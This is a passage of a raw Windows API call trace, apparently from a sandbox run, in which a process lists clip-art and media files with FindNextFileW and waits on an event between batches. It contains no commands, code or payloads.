ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0183.494] ResetEvent (hEvent=0x174) returned 1 [0183.494] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.495] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0183.495] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0183.496] ResetEvent (hEvent=0x174) returned 1 [0183.496] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.497] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0183.498] ResetEvent (hEvent=0x174) returned 1 [0183.498] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.666] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0183.666] ResetEvent (hEvent=0x174) returned 1 [0183.666] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.682] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0183.682] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0183.682] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0183.682] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0183.682] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0183.682] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0183.683] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0183.683] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0183.683] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0183.683] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0183.683] ResetEvent (hEvent=0x174) returned 1 [0183.683] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.690] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0183.690] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0183.690] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0183.690] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0183.690] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0183.691] ResetEvent (hEvent=0x174) returned 1 [0183.691] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.698] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0183.698] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0183.698] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0183.698] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0183.698] ResetEvent (hEvent=0x174) returned 1 [0183.698] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.705] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0183.705] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0183.705] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0183.705] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0183.705] ResetEvent (hEvent=0x174) returned 1 [0183.705] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.707] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0183.707] ResetEvent (hEvent=0x174) returned 1 [0183.707] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.872] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0183.872] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0183.872] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0183.872] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0183.872] ResetEvent (hEvent=0x174) returned 1 [0183.872] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.879] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0183.879] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0183.879] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0183.879] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0183.879] ResetEvent (hEvent=0x174) returned 1 [0183.880] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.885] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0183.885] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0183.886] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0183.886] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0183.886] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0183.886] ResetEvent (hEvent=0x174) returned 1 [0183.886] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.919] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0183.919] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0183.919] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, 